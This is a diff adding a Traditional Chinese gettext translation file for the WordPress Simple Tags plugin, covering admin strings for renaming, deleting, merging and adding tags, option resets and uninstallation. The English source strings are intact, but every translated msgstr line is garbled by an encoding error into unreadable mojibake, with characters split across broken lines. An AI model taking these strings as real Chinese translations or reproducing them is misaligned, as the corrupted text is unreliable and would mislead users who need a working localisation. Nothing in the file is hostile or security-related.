+#: /2.5/inc/simple-tags.admin.php:499
+#: /2.7/inc/simple-tags.admin.php:563
+msgid "Most popular font size:"
+msgstr "æç±éçæšç±€å­é«å€§å°ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:457
+#: /2.5/inc/simple-tags.admin.php:500
+#: /2.7/inc/simple-tags.admin.php:564
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "å
+©çš®å­åå€§å°åå¥è¡šç€ºäœ¿çšæå€åæå°çæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:458
+#: /2.5/inc/simple-tags.admin.php:501
+#: /2.7/inc/simple-tags.admin.php:565
+msgid "Least popular font size:"
+msgstr "æå·éçæšç±€å­é«å€§å°ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:502
+#: /2.7/inc/simple-tags.admin.php:566
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "åšæšç±€é²äžé¡¯ç€ºçå­åå€§å°å®äœïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:460
+#: /2.5/inc/simple-tags.admin.php:503
+#: /2.7/inc/simple-tags.admin.php:567
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "å­åå€§å°çå®äœèš­å®æ±ºå®äºå
+©çš®å­åå€§å°äœ¿çšçå®äœã"
+
+#: /2.3/inc/simple-tags.admin.php:462
+#: /2.5/inc/simple-tags.admin.php:505
+#: /2.7/inc/simple-tags.admin.php:569
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "æšå¯ä»¥äœ¿çšåŠå <code>st_tag_cloud()</code> åèœäžæš£çèªæ³äŸèš­å®é¡¯ç€ºæ¹åŒãè©³çŽ°æ
+åœ¢è«åé±<a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">èªªææä»¶</a>ã"
+
+#: /2.3/inc/simple-tags.admin.php:476
+#: /2.5/inc/simple-tags.admin.php:519
+#: /2.7/inc/simple-tags.admin.php:583
+msgid "Options saved"
+msgstr "èš­å®å·²å²å­"
+
+#: /2.3/inc/simple-tags.admin.php:480
+#: /2.5/inc/simple-tags.admin.php:523
+#: /2.7/inc/simple-tags.admin.php:587
+msgid "Simple Tags options resetted to default options!"
+msgstr "Simple Tags èš­å®å·²éçœ®çºé èš­çæ
+ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:486
+#: /2.5/inc/simple-tags.admin.php:529
+#: /2.7/inc/simple-tags.admin.php:593
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "å·²åªé€å
+šéšçSimple Tagsèš­å®ïŒçŸåšæšå¯ä»¥<a href=\"%s\">åçšæ­€å€æ</a>äºïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:526
+#: /2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr "æŽæ°éžé 
+ &raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:564
+#: /2.7/inc/simple-tags.admin.php:603
+#: /2.7/inc/simple-tags.admin.php:626
+msgid "Do you really want to restore the default options?"
+msgstr "æšççèŠååŸ©é èš­çæ
+åïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:564
+#: /2.7/inc/simple-tags.admin.php:603
+#: /2.7/inc/simple-tags.admin.php:626
+msgid "Reset Options"
+msgstr "éçœ®èš­å®"
+
+#: /2.3/inc/simple-tags.admin.php:534
+#: /2.5/inc/simple-tags.admin.php:548
+#: /2.7/inc/simple-tags.admin.php:610
+msgid "Uninstallation"
+msgstr "è§£é€å®è£"
+
+#: /2.3/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:554
+#: /2.7/inc/simple-tags.admin.php:616
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr "äžè¬äŸèªªïŒåçšæ­€å€æäžŠäžæåªé€å®çä»»äœè³æïŒåŠææšæ³åŸ¹åºç§»é€Simple TagsïŒè«åšåçšå€æä¹ååªé€ <strong>å
+šéšç</strong> èš­å®ã"
+
+#: /2.3/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:555
+#: /2.7/inc/simple-tags.admin.php:617
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "éæåªé€ææçSimple Tagsèš­å®ïŒ<strong>éæ¯äžèœååŸ©çïŒè«å°å¿ã"
+
+#: /2.3/inc/simple-tags.admin.php:544
+#: /2.5/inc/simple-tags.admin.php:558
+#: /2.7/inc/simple-tags.admin.php:620
+msgid "Delete all options ?"
+msgstr "åªé€ææçèš­å®ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:568
+#: /2.3/inc/simple-tags.admin.php:1714
+#: /2.5/inc/simple-tags.admin.php:580
+#: /2.5/inc/simple-tags.admin.php:1751
+#: /2.7/inc/simple-tags.admin.php:642
+#: /2.7/inc/simple-tags.admin.php:1735
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "éæ¯å®å
+šåé¡ïŒè«éè©ŠïŒè¥åé¡äžåçŒçïŒè«è¯çµ¡ <a href=\"mailto:amaury@wordpress-fr.net\">å€æäœè
+</a>ã"
+
+#: /2.3/inc/simple-tags.admin.php:601
+#: /2.3/inc/simple-tags.widgets.php:171
+#: /2.5/inc/simple-tags.admin.php:613
+#: /2.5/inc/simple-tags.widgets.php:159
+#: /2.7/inc/simple-tags.admin.php:675
+#: /2.7/inc/simple-tags.widgets.php:159
+msgid "Most popular"
+msgstr "æç±éçæåšåé¢"
+
+#: /2.3/inc/simple-tags.admin.php:602
+#: /2.3/inc/simple-tags.widgets.php:161
+#: /2.3/inc/simple-tags.widgets.php:172
+#: /2.5/inc/simple-tags.admin.php:614
+#: /2.5/inc/simple-tags.widgets.php:149
+#: /2.5/inc/simple-tags.widgets.php:160
+#: /2.7/inc/simple-tags.admin.php:676
+#: /2.7/inc/simple-tags.widgets.php:149
+#: /2.7/inc/simple-tags.widgets.php:160
+msgid "Least used"
+msgstr "æå·éçæåšåé¢"
+
+#: /2.3/inc/simple-tags.admin.php:603
+#: /2.3/inc/simple-tags.widgets.php:158
+#: /2.3/inc/simple-tags.widgets.php:169
+#: /2.5/inc/simple-tags.admin.php:615
+#: /2.5/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:157
+#: /2.7/inc/simple-tags.admin.php:677
+#: /2.7/inc/simple-tags.widgets.php:146
+#: /2.7/inc/simple-tags.widgets.php:157
+msgid "Alphabetical"
+msgstr "äŸç
+§å­æ¯é åºæå"
+
+#: /2.3/inc/simple-tags.admin.php:634
+#: /2.5/inc/simple-tags.admin.php:646
+#: /2.7/inc/simple-tags.admin.php:708
+msgid "Existing Tags"
+msgstr "å·²å­åšçæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:638
+#: /2.5/inc/simple-tags.admin.php:650
+#: /2.7/inc/simple-tags.admin.php:712
+msgid "Search tags"
+msgstr "æå°æšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:642
+#: /2.5/inc/simple-tags.admin.php:654
+#: /2.7/inc/simple-tags.admin.php:716
+msgid "Go"
+msgstr "Go"
+
+#: /2.3/inc/simple-tags.admin.php:645
+#: /2.5/inc/simple-tags.admin.php:658
+#: /2.7/inc/simple-tags.admin.php:720
+msgid "Sort Order:"
+msgstr "æåºäŸæïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:660
+#: /2.3/inc/simple-tags.admin.php:1844
+#: /2.5/inc/simple-tags.admin.php:676
+#: /2.5/inc/simple-tags.admin.php:1880
+#: /2.7/inc/simple-tags.admin.php:738
+#: /2.7/inc/simple-tags.admin.php:1866
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "è§çææä»¥  %s çºæšç±€çæç« "
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1859
+#: /2.3/inc/simple-tags.admin.php:1861
+#: /2.5/inc/simple-tags.admin.php:684
+#: /2.5/inc/simple-tags.admin.php:1895
+#: /2.5/inc/simple-tags.admin.php:1897
+#: /2.7/inc/simple-tags.admin.php:746
+#: /2.7/inc/simple-tags.admin.php:1881
+#: /2.7/inc/simple-tags.admin.php:1883
+msgid "Previous tags"
+msgstr "å
+åæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1865
+#: /2.3/inc/simple-tags.admin.php:1867
+#: /2.5/inc/simple-tags.admin.php:684
+#: /2.5/inc/simple-tags.admin.php:1901
+#: /2.5/inc/simple-tags.admin.php:1903
+#: /2.7/inc/simple-tags.admin.php:746
+#: /2.7/inc/simple-tags.admin.php:1887
+#: /2.7/inc/simple-tags.admin.php:1889
+msgid "Next tags"
+msgstr "åŸçºæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:679
+#: /2.5/inc/simple-tags.admin.php:691
+#: /2.7/inc/simple-tags.admin.php:753
+msgid "Rename Tag"
+msgstr "éæ°åœåæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:680
+#: /2.5/inc/simple-tags.admin.php:699
+#: /2.7/inc/simple-tags.admin.php:761
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "èŒžå
+¥èŠéæ°åœåçæšç±€ä»¥åæ°çåçš±ïŒæšå¯ä»¥å©çšéååèœäŸåäœµæšç±€ãæäžãéæ°åœåã åŸïŒææäœ¿çšéåæšç±€çæç« éœæè¢«æŽæ°ã"
+
+#: /2.3/inc/simple-tags.admin.php:681
+#: /2.3/inc/simple-tags.admin.php:722
+#: /2.5/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:774
+#: /2.7/inc/simple-tags.admin.php:762
+#: /2.7/inc/simple-tags.admin.php:836
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "æšå¯ä»¥çšååœ¢éèçžéïŒç¶åŸåæèŒžå
+¥å€åæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:686
+#: /2.5/inc/simple-tags.admin.php:704
+#: /2.7/inc/simple-tags.admin.php:766
+msgid "Tag(s) to rename:"
+msgstr "èŠéæ°åœåçæšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:687
+#: /2.5/inc/simple-tags.admin.php:708
+#: /2.7/inc/simple-tags.admin.php:770
+msgid "New tag name(s):"
+msgstr "æ°çæšç±€åçš±ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:688
+#: /2.5/inc/simple-tags.admin.php:711
+#: /2.7/inc/simple-tags.admin.php:773
+msgid "Rename"
+msgstr "éæ°åœå"
+
+#: /2.3/inc/simple-tags.admin.php:693
+#: /2.5/inc/simple-tags.admin.php:717
+#: /2.7/inc/simple-tags.admin.php:779
+msgid "Delete Tag"
+msgstr "åªé€æšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:694
+#: /2.5/inc/simple-tags.admin.php:725
+#: /2.7/inc/simple-tags.admin.php:787
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "èŒžå
+¥èŠåªé€çæšç±€åçš±ïŒéåæšç±€å°åŸææçæç« äž­ç§»é€ã"
+
+#: /2.3/inc/simple-tags.admin.php:695
+#: /2.5/inc/simple-tags.admin.php:726
+#: /2.7/inc/simple-tags.admin.php:788
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "æšå¯ä»¥çšååœ¢éèçžéïŒåæååºèŠåªé€çå€åæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:730
+#: /2.7/inc/simple-tags.admin.php:792
+msgid "Tag(s) to delete:"
+msgstr "èŠåªé€çæšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:701
+#: /2.5/inc/simple-tags.admin.php:733
+#: /2.7/inc/simple-tags.admin.php:795
+msgid "Delete"
+msgstr "åªé€"
+
+#: /2.3/inc/simple-tags.admin.php:706
+#: /2.5/inc/simple-tags.admin.php:739
+#: /2.7/inc/simple-tags.admin.php:801
+msgid "Add Tag"
+msgstr "å¢å æšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:707
+#: /2.5/inc/simple-tags.admin.php:747
+#: /2.7/inc/simple-tags.admin.php:809
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "éååèœå
+èš±æšå å
+¥äžåææžåæ°çæšç±€å°æç« äž­ïŒåªèŠéäºæç« ç¬Šåæå®çä»»äœäžåæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:708
+#: /2.5/inc/simple-tags.admin.php:748
+#: /2.7/inc/simple-tags.admin.php:810
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "æšå¯ä»¥çšååœ¢éèçžéïŒåæå å
+¥å€åæšç±€ïŒåŠææšèŠå°æšç±€å å°ææçæç« äž­ïŒé£éºŒå°±äžèŠæå®éç¬Šåç¹å®çæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:713
+#: /2.3/inc/simple-tags.admin.php:728
+#: /2.5/inc/simple-tags.admin.php:752
+#: /2.5/inc/simple-tags.admin.php:778
+#: /2.7/inc/simple-tags.admin.php:814
+#: /2.7/inc/simple-tags.admin.php:840
+msgid "Tag(s) to match:"
+msgstr "éç¬Šåçæšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:714
+#: /2.5/inc/simple-tags.admin.php:756
+#: /2.7/inc/simple-tags.admin.php:818
+msgid "Tag(s) to add:"
+msgstr "èŠå¢å çæšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:715
+#: /2.5/inc/simple-tags.admin.php:759
+#: /2.7/inc/simple-tags.admin.php:821
+msgid "Add"
+msgstr "å¢å "
+
+#: /2.3/inc/simple-tags.admin.php:720
+#: /2.5/inc/simple-tags.admin.php:765
+#: /2.7/inc/simple-tags.admin.php:827
+msgid "Edit Tag Slug"
+msgstr "ç·šèŒ¯æšç±€ä»£çš±"
+
+#: /2.3/inc/simple-tags.admin.php:721
+#: /2.5/inc/simple-tags.admin.php:773
+#: /2.7/inc/simple-tags.admin.php:835
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "èŒžå
+¥äœ èŠç·šèŒ¯çæšç±€åçš±ä»¥åæ°çä»£çš±ã <a href=\"http://codex.wordpress.org/Glossary#Slug\">ä»éºŒæ¯ä»£çš±ïŒ</a>"
+
+#: /2.3/inc/simple-tags.admin.php:732
+#: /2.5/inc/simple-tags.admin.php:782
+#: /2.7/inc/simple-tags.admin.php:844
+msgid "Slug(s) to set:"
+msgstr "èš­å®çä»£çš±ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:737
+#: /2.3/inc/simple-tags.admin.php:916
+#: /2.5/inc/simple-tags.admin.php:785
+#: /2.5/inc/simple-tags.admin.php:1050
+#: /2.7/inc/simple-tags.admin.php:847
+#: /2.7/inc/simple-tags.admin.php:1080
+msgid "Edit"
+msgstr "ç·šèŒ¯"
+
+#: /2.3/inc/simple-tags.admin.php:743
+#: /2.5/inc/simple-tags.admin.php:791
+#: /2.7/inc/simple-tags.admin.php:853
+msgid "Remove empty terms"
+msgstr "ç§»é€ç©ºçœé 
+ç®"
+
+#: /2.3/inc/simple-tags.admin.php:744
+#: /2.5/inc/simple-tags.admin.php:799
+#: /2.7/inc/simple-tags.admin.php:861
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 æåæç¢çç©ºçœé 
+ç®çå°è­è²ïŒè«ç§»é€å®ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:748
+#: /2.5/inc/simple-tags.admin.php:800
+#: /2.7/inc/simple-tags.admin.php:862
+msgid "Clean !"
+msgstr "æž
+é€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "æå°é 
+ç®&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:854
+#: /2.5/inc/simple-tags.admin.php:1020
+#: /2.7/inc/simple-tags.admin.php:1041
+msgid "Quantity&hellip;"
+msgstr "æžé&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "äœè
+&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "ä»»äœ"
+
+#: /2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "é¡å¥&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "æç« "
+
+#: /2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "åé "
+
+#: /2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "æåº&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "æ¥æïŒéåªæåïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "æ¥æïŒååªæåïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr "IDïŒéåªæåïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "IDïŒååªæåïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "ç¯©éžæ¢ä»¶&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "å
+šéšæç« "
+
+#: /2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr "åªæç¡æšç±€çæç« "
+
+#: /2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "éæ¿Ÿæåº &#187;"
+
+#: /2.3/inc/simple-tags.admin.php:912
+#: /2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "å
+šéšæŽæ°"
+
+#: /2.3/inc/simple-tags.admin.php:936
+#: /2.5/inc/simple-tags.admin.php:1080
+#: /2.7/inc/simple-tags.admin.php:1111
+msgid "No content to edit."
+msgstr "ç¡å
+§å®¹å¯äŸç·šèŒ¯"
+
+#: /2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "æšç±€ïŒä»¥ååœ¢éèçžéïŒè², å¯µç©é£Œæ, çïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1105
+#: /2.5/inc/simple-tags.admin.php:1338
+#: /2.7/inc/simple-tags.admin.php:1341
+msgid "No new tag specified!"
+msgstr "æ²ææå®æ°æšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1124
+#: /2.5/inc/simple-tags.admin.php:1353
+#: /2.7/inc/simple-tags.admin.php:1356
+msgid "No new/old valid tag specified!"
+msgstr "æ²ææå®æ°ç/èçæææšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1156
+#: /2.5/inc/simple-tags.admin.php:1389
+#: /2.7/inc/simple-tags.admin.php:1392
+msgid "No tag renamed."
+msgstr "æ²ææšç±€è¢«éæ°åœåã"
+
+#: /2.3/inc/simple-tags.admin.php:1159
+#: /2.5/inc/simple-tags.admin.php:1391
+#: /2.7/inc/simple-tags.admin.php:1394
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "éæ°åœåæšç±€ &laquo;%1$s&raquo; çº &laquo;%2$s&raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:1166
+#: /2.5/inc/simple-tags.admin.php:1398
+#: /2.7/inc/simple-tags.admin.php:1401
+msgid "No valid new tag."
+msgstr "æ²æææçæ°æšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:1183
+#: /2.5/inc/simple-tags.admin.php:1415
+#: /2.7/inc/simple-tags.admin.php:1418
+msgid "No objects (post/page) found for specified old tags."
+msgstr "æŸäžå°ææç¹å®èæšç±€çç®æšïŒæç« /åé ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1208
+#: /2.5/inc/simple-tags.admin.php:1444
+#: /2.7/inc/simple-tags.admin.php:1447
+msgid "No tag merged."
+msgstr "æ²ææšç±€è¢«åäœµã"
+
+#: /2.3/inc/simple-tags.admin.php:1211
+#: /2.5/inc/simple-tags.admin.php:1446
+#: /2.7/inc/simple-tags.admin.php:1449
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "åäœµæšç±€ &laquo;%1$s&raquo; å° &laquo;%2$s&raquo;. %3$s ç®æšå·²ç·šèŒ¯ã"
+
+#: /2.3/inc/simple-tags.admin.php:1214
+#: /2.5/inc/simple-tags.admin.php:1449
+#: /2.7/inc/simple-tags.admin.php:1452
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "é¯èª€ïŒæ²æè¶³å€ çæšç±€å¯äŸéæ°åœåååäœµïŒè«éžè­¯ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1240
+#: /2.5/inc/simple-tags.admin.php:1476
+#: /2.7/inc/simple-tags.admin.php:1479
+msgid "No tag specified!"
+msgstr "æ²ææå®æšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1265
+#: /2.5/inc/simple-tags.admin.php:1499
+#: /2.7/inc/simple-tags.admin.php:1502
+msgid "No tag deleted."
+msgstr "æªåªé€ä»»äœæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:1268
+#: /2.5/inc/simple-tags.admin.php:1501
+#: /2.7/inc/simple-tags.admin.php:1504
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%1s åæšç±€å·²åªé€ã"
+
+#: /2.3/inc/simple-tags.admin.php:1280
+#: /2.5/inc/simple-tags.admin.php:1513
+#: /2.7/inc/simple-tags.admin.php:1516
+msgid "No new tag(s) specified!"
+msgstr "æ²ææå®æ°æšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1328
+#: /2.5/inc/simple-tags.admin.php:1564
+#: /2.7/inc/simple-tags.admin.php:1567
+msgid "No tag added."
+msgstr "æ²æå¢å æšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:1331
+#: /2.5/inc/simple-tags.admin.php:1566
+#: /2.7/inc/simple-tags.admin.php:1569
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "æšç±€å·²å å
+¥è³  %1s ç¯æç« ã"
+
+#: /2.3/inc/simple-tags.admin.php:1343
+#: /2.5/inc/simple-tags.admin.php:1578
+#: /2.7/inc/simple-tags.admin.php:1581
+msgid "No new slug(s) specified!"
+msgstr "æ²ææå®æ°ä»£çš±ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1359
+#: /2.5/inc/simple-tags.admin.php:1590
+#: /2.7/inc/simple-tags.admin.php:1593
+msgid "Tags number and slugs number isn't the same!"
+msgstr "æšç±€èä»£çš±çæžéäžåïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1383
+#: /2.5/inc/simple-tags.admin.php:1617
+#: /2.7/inc/simple-tags.admin.php:1620
+msgid "No slug edited."
+msgstr "æªç·šèŒ¯ä»»äœæšç±€ä»£çš±ã"
+
+#: /2.3/inc/simple-tags.admin.php:1386
+#: /2.5/inc/simple-tags.admin.php:1619
+#: /2.7/inc/simple-tags.admin.php:1622
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s åä»£çš±å·²ç·šèŒ¯"
+
+#: /2.3/inc/simple-tags.admin.php:1404
+#: /2.5/inc/simple-tags.admin.php:1637
+#: /2.7/inc/simple-tags.admin.php:1640
+msgid "Nothing to muck. Good job !"
+msgstr "æ²æä»éºŒäºäžå
+«ç³çæ±è¥¿äºïŒååŸå¥œåïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1429
+#: /2.5/inc/simple-tags.admin.php:1665
+#: /2.7/inc/simple-tags.admin.php:1668
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s è¡å·²åªé€ïŒ WordPress è³æåº«çŸåšå·²æž
+çä¹Ÿæ·šïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1678
+#: /2.7/inc/simple-tags.admin.php:123
+msgid "Display click tags"
+msgstr "é¡¯ç€ºé»éžæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1679
+#: /2.7/inc/simple-tags.admin.php:124
+msgid "Hide click tags"
+msgstr "é±èé»éžæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:1504
+#: /2.5/inc/simple-tags.admin.php:1696
+#: /2.7/inc/simple-tags.admin.php:1694
+msgid "Suggested tags from :"
+msgstr "åŸäœèç²åå»ºè­°æšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1505
+#: /2.5/inc/simple-tags.admin.php:1697
+#: /2.7/inc/simple-tags.admin.php:1695
+msgid "Local tags"
+msgstr "æ¬å°æšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:1506
+#: /2.5/inc/simple-tags.admin.php:1698
+#: /2.7/inc/simple-tags.admin.php:1696
+msgid "Yahoo"
+msgstr "Yahoo"
+
+#: /2.3/inc/simple-tags.admin.php:1507
+#: /2.5/inc/simple-tags.admin.php:1699
+#: /2.7/inc/simple-tags.admin.php:1697
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+#: /2.3/inc/simple-tags.admin.php:1513
+#: /2.5/inc/simple-tags.admin.php:1702
+#: /2.7/inc/simple-tags.admin.php:1712
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "éžæäžåå»ºè­°æšç±€çæäŸè
+ïŒæ¬å°ç³»çµ±ãyahoo æ tag the netïŒã"
+
+#: /2.3/inc/simple-tags.admin.php:1742
+#: /2.5/inc/simple-tags.admin.php:1783
+#: /2.7/inc/simple-tags.admin.php:1767
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "%s ç¯æç« çæšç±€å·²æåæŽæ°ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:1744
+#: /2.5/inc/simple-tags.admin.php:1781
+#: /2.7/inc/simple-tags.admin.php:1765
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "%s ååé çæšç±€å·²æåæŽæ°ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:2155
+#: /2.5/inc/simple-tags.admin.php:2189
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s | <a href=\"http://www.wmfield.idv.tw/\" title=\"æ­£é«äž­æèªç³»æª\">Neil Lin</a>"
+
+#: /2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "åé ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:2274
+#: /2.5/inc/simple-tags.admin.php:2291
+#: /2.7/inc/simple-tags.admin.php:2226
+msgid "General"
+msgstr "äžè¬"
+
+#: /2.3/inc/simple-tags.admin.php:2277
+#: /2.5/inc/simple-tags.admin.php:2294
+msgid "Administration"
+msgstr "ç®¡ç"
+
+#: /2.3/inc/simple-tags.admin.php:2280
+#: /2.5/inc/simple-tags.admin.php:2297
+#: /2.7/inc/simple-tags.admin.php:2229
+msgid "Meta Keyword"
+msgstr "ééµå­"
+
+#: /2.3/inc/simple-tags.admin.php:2283
+#: /2.5/inc/simple-tags.admin.php:2300
+#: /2.7/inc/simple-tags.admin.php:2232
+#: /extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr "åµå
+¥åŒæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:2286
+#: /2.5/inc/simple-tags.admin.php:2303
+#: /2.7/inc/simple-tags.admin.php:2235
+msgid "Tags for Current Post"
+msgstr "ç¶åæç« çæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:2289
+#: /2.5/inc/simple-tags.admin.php:2306
+#: /2.7/inc/simple-tags.admin.php:2238
+msgid "Related Posts"
+msgstr "çžéæç« "
+
+#: /2.3/inc/simple-tags.admin.php:2292
+#: /2.5/inc/simple-tags.admin.php:2309
+#: /2.7/inc/simple-tags.admin.php:2241
+msgid "Related Tags"
+msgstr "çžéæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:2295
+#: /2.5/inc/simple-tags.admin.php:2312
+#: /2.7/inc/simple-tags.admin.php:2244
+msgid "Tag cloud"
+msgstr "æšç±€é²"
+
+#: /2.3/inc/simple-tags.widgets.php:143
+#: /2.5/inc/simple-tags.widgets.php:131
+#: /2.7/inc/simple-tags.widgets.php:131
+msgid "Empty field will use default value."
+msgstr "ç©ºçœååå°äœ¿çšé èš­åŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:134
+#: /2.7/inc/simple-tags.widgets.php:134
